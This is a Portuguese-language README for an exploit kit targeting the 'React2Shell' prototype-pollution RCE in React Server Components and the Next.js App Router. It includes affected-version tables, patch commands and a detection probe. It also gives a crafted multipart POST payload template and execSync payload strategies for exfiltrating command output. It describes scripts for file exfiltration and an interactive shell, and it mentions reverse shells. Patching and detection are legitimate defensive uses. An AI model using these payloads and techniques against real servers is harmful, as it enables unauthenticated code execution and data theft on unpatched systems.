
Kit de exploração RCE para CVE-2025-55182 e CVE-2025-66478 em React Server Components. Inclui múltiplas variantes de exploração, scripts de detecção, um servidor de teste vulnerável e uma análise técnica aprofundada da vulnerabilidade de desserialização do protocolo Flight.
CVE-2025-55182 (React) e CVE-2025-66478 (Next.js)
Este repositório contém código de exploit apenas para testes de segurança autorizados e fins educacionais.
Veja também: Vários pesquisadores publicaram análises desta vulnerabilidade. Consulte a seção References para perspectivas adicionais, técnicas de exploit e métodos de detecção.
Na quarta-feira, 3 de dezembro de 2025, uma vulnerabilidade crítica de Execução Remota de Código nos React Server Components foi divulgada publicamente. O bug, apelidado de "React2Shell", permite que um atacante não autenticado execute código arbitrário em qualquer servidor que execute versões vulneráveis do React RSC ou do Next.js App Router enviando uma única requisição HTTP.
Dado o quanto o Next.js se tornou onipresente - ele alimenta uma parcela significativa da web moderna - o impacto desta vulnerabilidade é grave. Qualquer aplicação Next.js que use o App Router (o padrão para novos projetos desde o Next.js 13) com RSC habilitado está vulnerável. Nenhuma configuração especial. Nenhum endpoint específico. Apenas uma requisição POST para qualquer rota.
A vulnerabilidade reside no protocolo "Flight" do React, o formato de serialização usado para transmitir dados entre servidor e cliente nos React Server Components. A ausência de uma verificação hasOwnProperty durante a desserialização permite a travessia da cadeia de protótipos, alcançando em última instância o construtor Function do JavaScript para executar código controlado pelo atacante.
A falha existe nos pacotes , e do React. O Next.js, como o principal consumidor de RSC, herda a vulnerabilidade por meio do seu App Router.
react-server-dom-webpackreact-server-dom-turbopackreact-server-dom-parcelMuitos serviços são potencialmente vulneráveis. O Next.js é um dos frameworks React mais populares, usado por empresas de todos os tamanhos - de startups a grandes corporações. O App Router com React Server Components tem sido a arquitetura padrão para novos projetos Next.js desde a versão 13, o que significa que a maioria das implantações modernas de Next.js é afetada.
Qualquer aplicação que utilize:
react-server-dom-* vulneráveis (19.0.0 - 19.2.0)Isso inclui implantações em produção na Vercel, AWS, infraestrutura auto-hospedada e em qualquer outro lugar onde aplicações Next.js App Router sejam executadas.
Não afetados:
process.mainModule disponível)| Pacote | Vulnerável | Corrigida |
|---|---|---|
react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Linha de Versão | Vulnerável | Corrigida |
|---|---|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
Atualize imediatamente. Não há soluções alternativas.
Para aplicações Next.js:
npm install next@latest
# or
pnpm update next
Para uso direto de RSC do React:
npm install react-server-dom-webpack@latest
Verifique suas versões instaladas:
npm ls next react-server-dom-webpack react-server-dom-turbopack
Múltiplos vetores de ataque foram descobertos para esta vulnerabilidade. O mais comum - e o que funciona sem nenhum pré-requisito - usa poluição de protótipo por meio do sistema de referências do protocolo Flight do React.
O exploit envia uma requisição POST multipart especialmente elaborada com o cabeçalho Next-Action. O payload abusa do sistema de referências para:
$1:__proto__:thenFunction do JavaScriptPOST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
O código é executado durante a desserialização, antes de qualquer validação de ID de ação ocorrer. Isso significa que qualquer valor no cabeçalho Next-Action aciona o caminho de código vulnerável - nenhum ID de ação válido é necessário.
Outros vetores de ataque existem, incluindo referências de função
$Fe gadgets de módulo diretos. Eles normalmente exigem um ID de ação válido. Consulte Vetores de Ataque Alternativos para obter detalhes.
O protocolo Flight do React resolve referências como $1:path:to:value dividindo nos dois-pontos e percorrendo o objeto:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // No hasOwnProperty check!
}
A Ironia: No topo deste mesmo arquivo, linha 35:
import hasOwnProperty from 'shared/hasOwnProperty';O guard foi importado. Estava disponível. Simplesmente não foi usado no único loop onde era mais importante.
Essa única verificação ausente permite que $1:__proto__:then atravesse de um objeto chunk, suba pela cadeia de protótipos, até Chunk.prototype.then - uma função que processa objetos semelhantes a Promise. Ao criar um chunk falso com as propriedades certas, controlamos qual código é executado.
Clone o servidor de teste vulnerável:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
Em outro terminal:
./detect.sh http://localhost:3443
Um servidor vulnerável retorna HTTP 500 com E{"digest" no corpo da resposta. Para demonstrar a RCE:
./exploit-redirect.sh http://localhost:3443 "id"
A saída do comando aparece na resposta. Para exploração interativa:
./shell.sh http://localhost:3443
O diretório vulnerable-next-server/ contém uma aplicação pré-configurada Next.js 16.0.6 + React 19.2.0 para testes locais seguros. Ela executa na porta 3443 por padrão. Esta é uma configuração mínima de App Router que demonstra que configurações padrão são vulneráveis.
Desenvolvemos múltiplas variantes de exploit para lidar com diferentes cenários:
| Script | HTTP | Saída | Produção | Observações |
|---|---|---|---|---|
exploit-redirect.sh | 303 | cabeçalho x-action-redirect | Sim | Recomendado. Sem pré-requisitos. |
exploit-throw.sh | 500 | Corpo da resposta de erro | Não | Apenas modo de desenvolvimento (erros sanitizados em produção). |
exploit-blind.sh | 200 | Somente no servidor | Sim | Dispare e esqueça. Use para exfiltração OOB. |
exploit-urlencoded.sh | 303 | cabeçalho x-action-redirect | Sim | Assinatura WAF diferente. Requer ID de ação. |
exploit-reflect.sh | 200 | Corpo da resposta | Sim | O mais furtivo. Requer ID de ação. |
Nota sobre Produção: O React remove mensagens de erro em builds de produção, quebrando o método
throw. Apenasexploit-redirect.shcaptura de forma confiável a saída de comandos em produção sem pré-requisitos. A URL de redirecionamento é armazenada na propriedadedigestdo erro (metadados), que não é sanitizada - ao contrário demessage, que se torna apenas{digest: "..."}.
Scripts Utilitários:
detect.sh - Sonda de vulnerabilidade não destrutiva (sem execução de código)enumerate-actions.sh - Descobre IDs válidos de Server Actions a partir do HTML do alvoexfil-file.sh - Exfiltração de arquivos em partes (lida automaticamente com arquivos grandes)shell.sh - Pseudo-shell interativo sobre RCEO método de redirecionamento é recomendado porque funciona em produção, não exige pré-requisitos e retorna a saída do comando diretamente. Ele funciona lançando um erro NEXT_REDIRECT especialmente elaborado - a saída é codificada em base64 na URL de redirecionamento e retornada no cabeçalho x-action-redirect.
Para uso detalhado de cada script, consulte USAGE.md.
./detect.sh https://target.com
Isso envia uma sonda mínima que aciona o caminho de código vulnerável sem executar código arbitrário.
Resposta do servidor vulnerável:
text/x-componentE{"digest"Servidor corrigido ou sem RSC: Retorna 404, um formato de erro diferente ou nenhuma resposta do protocolo Flight.
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'
Esta sonda referencia uma propriedade inexistente em um objeto vazio. Servidores vulneráveis quebram ao tentar acessar {}.a.a, retornando 500. Servidores corrigidos têm um guard hasOwnProperty que impede a quebra.
Procure por estes indicadores:
<script> contendo dados do protocolo Flight (0:, 1:, etc.)x-nextjs-cache ou x-nextjs-matched-path/_next/$ACTION_ID_ em campos de formulário ocultosO diagrama a seguir ilustra como uma única requisição HTTP alcança a execução remota de código:
sequenceDiagram
participant A as Attacker
participant N as Next.js
participant F as Flight Parser
participant JS as JS Engine
A->>N: POST with Next-Action header + malicious payload
N->>F: Parse multipart form data
F->>JS: await getRoot - returns chunk as thenable
rect rgb(80, 20, 20)
Note over F,JS: VULNERABILITY - No hasOwnProperty check
JS->>F: chunk.then parses $1:__proto__:then
F-->>F: Traverses to Chunk.prototype.then
end
F->>JS: resolve(attackerObject)
Note over JS: JS Promise spec: resolve(thenable)<br/>calls thenable.then()
JS->>F: fakeChunk.then() with attacker's _response
rect rgb(80, 20, 20)
Note over F,JS: EXPLOITATION - Attacker controls _response
F->>F: $B0 → _formData.get(_prefix + "0")
Note over F: _formData.get = Function constructor<br/>_prefix = malicious code string
F->>JS: Function(code) invoked as thenable
end
Note over JS: RCE - execSync() runs
rect rgb(20, 60, 20)
Note over A,JS: OUTPUT EXFILTRATION (redirect method)
JS-->>F: throw NEXT_REDIRECT with base64(output)
F-->>N: Error propagates up
N-->>A: HTTP 303 + x-action-redirect header
endOs React Server Components usam um formato de serialização personalizado chamado "Flight" para transmitir árvores de componentes do servidor para o cliente. Ele usa códigos de prefixo para diferentes tipos de valor:
$1, $2, ... - Referências a outros chunks por ID$@0 - Referência bruta a objeto chunk (retorna o próprio chunk, não o seu valor)$B0 - Referência a blob (aciona _formData.get(_prefix + id))$1:path:to:prop - Percorre um caminho no valor de um chunk referenciadoA vulnerabilidade explora a combinação de $@ (referência bruta) e caminhos delimitados por dois-pontos para acessar __proto__.
Fase 1: Processamento da Requisição
Next-Action aciona o tratamento de ações RSCawait getRoot(response) retorna o chunk 0 como um thenableFase 2: Travessia de Protótipo
then - a especificação de Promise do JS chama thenable.then(resolve, reject)$1:__proto__:then resolve para Chunk.prototype.thenthen, status: "resolved_model" e _responseFase 3: Execução de Código
resolve(ourObject) aciona outra chamada then() (especificação de thenable do JS)Chunk.prototype.then é executado usando nosso objeto _response controlado$B0 aciona _formData.get(_prefix + "0") - ambos controlados pelo atacanteFase 4: Exfiltração de Saída (opcional, método de redirecionamento)
NEXT_REDIRECT com a saída do comando codificada em base64x-action-redirect antes da validação da URLA Function construída é chamada como um thenable: fn(resolve, reject). A forma como lidamos com isso determina se recebemos a saída de volta:
| Estratégia | Sufixo do Payload | Como Funciona |
|---|---|---|
| Cego | execSync('CMD');0 | Executa, mas nunca resolve - a conexão fica pendurada, sem saída |
| Lançar erro | throw execSync('CMD').toString() | Rejeita a Promise, saída no corpo do erro (apenas modo de desenvolvimento) |
| Redirecionar | throw {digest:'NEXT_REDIRECT;...;'+b64(output)} | Abusa do tratamento de redirecionamento do Next.js, saída no cabeçalho |
| Refletir | arguments[0](https://github.com/freeqaz/react2shell/blob/master/%5BexecSync%28%27CMD%27).toString()]) | Resolve a Promise com a saída como argumento de ação (requer ID de ação válido) |
Recomendado: Redirecionar. Funciona em produção, sem pré-requisitos, saída no cabeçalho x-action-redirect.
A abordagem cega fica pendurada porque a Promise nunca é resolvida - await bloqueia para sempre. Isso é útil para cenários de disparar e esquecer (reverse shells, exfiltração fora de banda via curl).
A vulnerabilidade central foi explorada por meio de três classes distintas de ataque. Este repositório usa a primeira abordagem; outros PoCs demonstram as alternativas:
| Classe de Ataque | Mecanismo | Requer ID de Ação | Exemplo de PoC |
|---|---|---|---|
| Poluição de Protótipo | Travessia $1:__proto__:then até Chunk.prototype | Não | react2shell, lachlan2k, joe-desimone |
| Referência de Função $F | $F1 + action#constructor para alcançar Function | Sim | shellinteractive |
| Gadget de Módulo | Sintaxe module#export (ex.: child_process#execSync) | Varia | pesquisa ejpir |
Por que a poluição de protótipo não exige um ID de ação: A análise do formulário multipart alimenta os chunks ao desserializador Flight imediatamente. A RCE ocorre em getOutlinedModel() durante a resolução da referência do chunk - antes que o Next.js valide o ID de ação. Requisições codificadas em URL validam o ID de ação primeiro (caminho de código diferente em action-handler.ts:768).
Por que a referência $F exige um ID de ação: A referência $F aciona loadServerReference(), que realiza uma busca no manifesto. Se a ação não existir, a requisição falha antes da execução do código.
Para análise detalhada de todas as implementações de PoC e suas compensações, consulte external-pocs/COMPARISON.md.
O React remove detalhes de erro em builds de produção. Isso afeta a exfiltração baseada em throw:
Desenvolvimento:
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}
Produção:
{"digest":"..."}
O método de redirecionamento contorna isso porque a URL de redirecionamento é armazenada na propriedade digest, não em message. O cabeçalho é definido incondicionalmente antes da validação da URL, portanto até URLs inválidas recebem o cabeçalho.
A principal percepção de exploração - usar referências brutas de chunk $@ para criar um chunk falso autorreferente - é creditada a maple3142. A metodologia de detecção referenciada aqui vem de Searchlight Cyber / Assetnote.
Divulgações Oficiais:
Pesquisa da Comunidade:
| Autor | Contribuição | Caminho de Ataque | Características Notáveis |
|---|---|---|---|
| lachlan2k | Descobridor original | Poluição de protótipo | Encadeamento com Array.map, estrutura de 5 chunks, suporte a Waku |
| ejpir | Pesquisa de gadgets | Todos os caminhos | Catálogo de gadgets de módulo, ataques de persistência, caminho de data URI |
| joe-desimone | Ferramentas em Python | Poluição de protótipo | Auxiliar de reverse shell, exfiltração via callback, detecção de timeout |
| labubusDest / MrR0b0t19 | Shell interativo | Referência de função $F | REPL em Python, upload/download de arquivos, suíte de testes integrada |
| Searchlight Cyber | Métodos de detecção | — | Metodologia de detecção de alta fidelidade, assinaturas WAF |
Para comparação detalhada de todas as implementações de PoC, consulte external-pocs/COMPARISON.md.
Contexto:
O código é licenciado sob a Licença MIT. A documentação (arquivos *.md) é licenciada sob CC-BY-SA 4.0.